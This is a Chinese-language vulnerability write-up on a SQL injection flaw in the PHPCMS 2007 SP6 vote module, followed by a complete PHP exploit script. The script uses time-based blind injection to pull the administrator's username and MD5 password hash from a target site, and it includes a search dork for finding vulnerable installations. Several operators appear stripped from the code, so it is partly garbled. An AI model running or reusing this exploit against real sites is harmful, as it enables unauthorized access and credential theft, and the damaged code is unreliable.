PHPCMS2007 SP6 vote模块SQL注射漏洞的分析

漏洞代码：

vote/vote.php

// 22行
$optionids = is_array($op) ? implode(',',$op) : $op;
...
$db->query("update ".table_vote_option." set number = number 1 where optionid in ($optionids) ");

漏洞很明显，没什么好说的，其他地方也有类似的问题，有兴趣的同学可以跟下，下面给个poc性质的exp[由于是盲注，效果不是很好]:p
代码:

#!/usr/bin/php
<?php

print_r('
---------------------------------------------------------------------------
phpcms 2007 sp6 bind sql injection / admin credentials disclosure exploit
by puret_t
mail: puretot at gmail dot com
team: http://www.wolvez.org
dork: "powered by phpcms 2007"
---------------------------------------------------------------------------
');
/**
* works regardless of php.ini settings
*/
if ($argc < 3) {
print_r('
---------------------------------------------------------------------------
usage: php '.$argv[0].' host path
host: target server (ip/hostname)
path: path to phpcms
example:
php '.$argv[0].' localhost /phpcms/
---------------------------------------------------------------------------
');
exit;
}

error_reporting(7);
ini_set('max_execution_time', 0);

$host = $argv[1];
$path = $argv[2];

$benchmark = 100000000;
$timeout = 10;

$cmd = 'voteid=999999&attribute=1&op=999999)/**/and/**/ryat#';
$resp = send();
preg_match('/([a-z0-9] )_vote_option/', $resp, $pre);

if ($pre) {
echo "plz waiting...\n";
/**
* get admin password
*/
$j = 1;
$pass = '';

$hash[0] = 0; //null
$hash = array_merge($hash, range(48, 57)); //numbers
$hash = array_merge($hash, range(97, 102)); //a-f letters

while (strlen($pass) < 32) {
for ($i = 0; $i <= 255; $i ) {
if (in_array($i, $hash)) {
$cmd = 'voteid=999999&attribute=1&op=999999)/**/and/**/(if((ascii(substring((select/**/password/**/from/**/'.$pre[1].'_member/**/where/**/groupid=1/**/limit/**/1),'.$j.',1))='.$i.'),benchmark('.$benchmark.',char(0)),1))#';
send();
usleep(2000000);
$starttime = time();
send();
$endtime = time();
$difftime = $endtime - $starttime;
if ($difftime > $timeout) {
$pass .= chr($i);
echo chr($i);
break;
}
}
if ($i == 255)
exit("\nexploit failed!\n");
}
$j ;
}
echo "\t";
/**
* get admin username
*/
$j = 1;
$user = '';

while (strstr($user, chr(0)) === false) {
for ($i = 0; i <= 255; $i ) {
$cmd = 'voteid=999999&attribute=1&op=999999)/**/and/**/(if((ascii(substring((select/**/username/**/from/**/'.$pre[1].'_member/**/where/**/groupid=1/**/limit/**/1),'.$j.',1))='.$i.'),benchmark('.$benchmark.',char(0)),1))#';
send();
usleep(2000000);
$starttime = time();
send();
$endtime = time();
$difftime = $endtime - $starttime;
if ($difftime > $timeout) {
$user .= chr($i);
echo chr($i);
break;
}
if ($i == 255)
exit("\nexploit failed!\n");
}
$j ;
}

exit("expoilt success!\nadmin:\t$user\npassword(md5):\t$pass\n");
} else
exit("exploit failed!\n");

function send()
{
global $host, $path, $cmd;

$message = "post ".$path."vote/vote.php http/1.1\r\n";
$message .= "accept: */*\r\n";
$message .= "accept-language: zh-cn\r\n";
$message .= "content-type: application/x-www-form-urlencoded\r\n";
$message .= "user-agent: mozilla/4.0 (compatible; msie 6.00; windows nt 5.1; sv1)\r\n";
$message .= "client-ip: ".time()."\r\n";
$message .= "host: $host\r\n";
$message .= "content-length: ".strlen($cmd)."\r\n";
$message .= "connection: close\r\n\r\n";
$message .= $cmd;

$fp = fsockopen($host, 80);
fputs($fp, $message);

$resp = '';

while ($fp && !feof($fp))
$resp .= fread($fp, 1024);

return $resp;
}

?>